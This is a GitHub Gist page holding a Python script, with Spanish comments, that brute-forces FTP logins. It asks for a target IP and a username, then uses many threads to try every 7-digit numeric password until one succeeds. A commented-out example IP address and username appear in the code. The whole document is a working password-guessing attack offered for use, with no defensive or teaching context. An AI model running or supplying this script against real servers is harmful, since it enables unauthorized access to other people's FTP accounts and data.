Skip to content

Instantly share code, notes, and snippets.

@j0rd1s3rr4n0
Last active March 30, 2024 10:07
Show Gist options
  • Save j0rd1s3rr4n0/7bac62d65dee083bf05832ac59567161 to your computer and use it in GitHub Desktop.
Save j0rd1s3rr4n0/7bac62d65dee083bf05832ac59567161 to your computer and use it in GitHub Desktop.
ftp_brute_digits_only
import threading
from ftplib import FTP
import os
def conectar_ftp(servidor, usuario, contrasena, contrasenas_correctas):
try:
# Intentamos establecer la conexión FTP
ftp = FTP(servidor)
ftp.login(usuario, contrasena)
print("Conexión FTP exitosa con contraseña:", contrasena)
contrasenas_correctas.append(contrasena)
except Exception as e:
# Si hay algún error al conectarse, capturamos la excepción y la imprimimos
# print(f"Intentando con contraseña: {contrasena}, Error: {e}")
pass # Continúa probando más contraseñas
# Configura tus credenciales FTP
LONGITUD_PASSWORD = 7
servidor_ftp = input("IP > ") #'52.10.103.130'
usuario_ftp = input("USER > ") # 'aquero'
# Número máximo de hilos permitidos por el procesador
num_hilos_max = os.cpu_count()
# Número de hilos para ejecutar simultáneamente (ajustado según el número máximo de hilos)
num_hilos = min(100, num_hilos_max)
# Contraseñas correctas encontradas
contrasenas_correctas = []
# Tiempo máximo para ejecutar la prueba de contraseñas (en segundos)
tiempo_maximo = 60 # por ejemplo, 60 segundos
# Función para probar contraseñas en un rango específico
def probar_contrasenas(hilo_id):
for i in range(hilo_id + 1, 10000000, num_hilos):
contrasena = str(i).zfill(LONGITUD_PASSWORD) # Añade ceros a la izquierda si es necesario
conectar_ftp(servidor_ftp, usuario_ftp, contrasena, contrasenas_correctas)
if contrasenas_correctas: # Si se encuentra una contraseña válida, termina la ejecución
return
# Crear y ejecutar los hilos
hilos = [threading.Thread(target=probar_contrasenas, args=(i,)) for i in range(num_hilos)]
for hilo in hilos:
hilo.start()
# Configurar temporizador para detener la ejecución después de cierto tiempo
temporizador = threading.Timer(tiempo_maximo, lambda: os._exit(0))
temporizador.start()
# Esperar a que todos los hilos terminen o que el temporizador expire
for hilo in hilos:
hilo.join()
# Cancelar el temporizador si todavía está activo
temporizador.cancel()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment